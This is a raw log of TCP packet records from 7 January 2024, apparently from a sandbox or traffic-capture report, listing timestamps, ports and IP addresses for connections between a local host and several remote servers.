Jan 7, 2024 05:29:54.707371950 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.710567951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.710582972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.710622072 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.713174105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.713202953 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.713224888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.713248968 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.715601921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.715652943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.715667009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.715682983 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.715686083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.715699911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.715723038 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.715791941 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.717389107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.717446089 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.719305038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.747365952 CET	49747	30023	192.168.2.4	185.220.101.23
Jan 7, 2024 05:29:54.760885954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.760940075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.760987043 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.760989904 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.761033058 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.761066914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.763057947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.763118029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.763130903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.809828997 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.901271105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.901392937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.901446104 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.902760983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.902832985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.902884007 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.906039953 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.906130075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.906188011 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.908997059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.909044027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.909147024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.911212921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.911242008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.911283970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.911334991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.911493063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.911564112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.911600113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.913105011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.913157940 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.921281099 CET	30023	49747	185.220.101.23	192.168.2.4
Jan 7, 2024 05:29:54.922015905 CET	49755	9001	192.168.2.4	88.198.112.25
Jan 7, 2024 05:29:54.956494093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.956969023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.957020044 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.957107067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.957226992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.957266092 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.957389116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.958935022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:54.958987951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:54.959028006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.004667044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.004746914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.085319042 CET	443	49753	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:55.085449934 CET	443	49753	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:55.085576057 CET	49753	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:55.085743904 CET	49753	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:55.085755110 CET	443	49753	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:55.095854044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.095874071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.096031904 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.096935987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.097008944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.097306967 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.100208044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.100261927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.100300074 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.102861881 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.102982044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.103025913 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.105443001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.105690956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.105745077 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.105963945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.106060982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.106134892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.106178045 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.106211901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.106338978 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.106875896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.106966972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.107003927 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.116590023 CET	49756	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:55.116624117 CET	443	49756	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:55.116779089 CET	49756	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:55.117150068 CET	49756	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:55.117161989 CET	443	49756	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:55.151144028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.151195049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.151233912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.151391029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.151470900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.151515007 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.153222084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.153295040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.153363943 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.198492050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.198709011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.198759079 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.289707899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.289774895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.289853096 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.291059971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.291193962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.291249037 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.294337988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.294413090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.295598030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.296852112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.296933889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.299155951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.299679995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.299905062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.299954891 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.300141096 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.300156116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.300168991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.300203085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.300204039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.300247908 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.300643921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.300740004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.300879002 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.307147980 CET	443	49756	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:55.307235003 CET	49756	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:55.308516979 CET	49756	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:55.308528900 CET	443	49756	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:55.308897972 CET	443	49756	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:55.310384035 CET	49756	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:55.310525894 CET	49756	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:55.310595989 CET	443	49756	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:55.345156908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.345206022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.345263958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.345319033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.345367908 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.345403910 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.345417976 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.345510006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.345557928 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.346927881 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.388155937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.395474911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.395756006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.395844936 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.483928919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.484020948 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.484111071 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.486165047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.486258030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.486876011 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.490436077 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.490788937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.490833998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.490931034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.491231918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.491281986 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.493155956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.493249893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.493314028 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.494021893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.494106054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.494318008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.494360924 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.494404078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.494442940 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.494527102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.494601011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.494752884 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.494762897 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.494831085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.494879007 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.540451050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.540479898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.540528059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.540553093 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.540565968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.540580034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.540610075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.540627956 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.540666103 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.583946943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.591944933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.592008114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.592031002 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.637958050 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.679889917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.679913044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.679976940 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.682449102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.682495117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.682547092 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.685805082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.685843945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.685895920 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.686295033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.686310053 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.686358929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.688555002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.688867092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.688920021 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.689512014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.689589024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.689626932 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.689690113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.689711094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.689759016 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.689913034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.690042019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.690088034 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.690212965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.690310955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.690781116 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.709476948 CET	443	49756	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:55.709623098 CET	443	49756	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:55.709683895 CET	49756	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:55.709816933 CET	49756	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:55.709836960 CET	443	49756	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:55.723350048 CET	49758	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:55.723387957 CET	443	49758	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:55.723598003 CET	49758	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:55.723972082 CET	49758	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:55.723988056 CET	443	49758	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:55.734787941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.734816074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.734829903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.734875917 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.734929085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.734960079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.734973907 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.735027075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.735042095 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.735100985 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.786238909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.786288977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.786346912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.832948923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.876003027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.876036882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.876125097 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.879143000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.879194975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.879268885 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.882201910 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.882339001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.882407904 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.883227110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.883265972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.883275032 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.885160923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.885268927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.885322094 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.885971069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.886017084 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.886054039 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.887362957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.887418985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.887502909 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.887545109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.887619972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.887649059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.887768984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.887850046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.887866020 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.918824911 CET	443	49758	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:55.918956995 CET	49758	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:55.919260025 CET	49755	9001	192.168.2.4	88.198.112.25
Jan 7, 2024 05:29:55.920334101 CET	49758	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:55.920346022 CET	443	49758	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:55.920615911 CET	443	49758	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:55.921876907 CET	49758	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:55.921993017 CET	49758	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:55.922000885 CET	443	49758	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:55.930071115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.930104971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.930119991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.930138111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.930145979 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.930154085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.930167913 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.930200100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.930202007 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.930231094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.930254936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.930299997 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:55.981865883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.981954098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:55.982048035 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.069962025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.070122957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.070235014 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.072930098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.073019028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.073074102 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.073088884 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.073149920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.075493097 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.076503038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.076592922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.079147100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.079211950 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.079238892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.079282999 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.079343081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.079412937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.081769943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.081825972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.081834078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.081849098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.081861973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.081875086 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.081880093 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.081913948 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.081914902 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.081928968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.081952095 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.122319937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.124067068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.124191999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.124249935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.124305964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.124382973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.124497890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.124547958 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.124561071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.124604940 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:56.124691010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:56.124771118 CET	80	49735	91.215.85.120	192.168.2.4
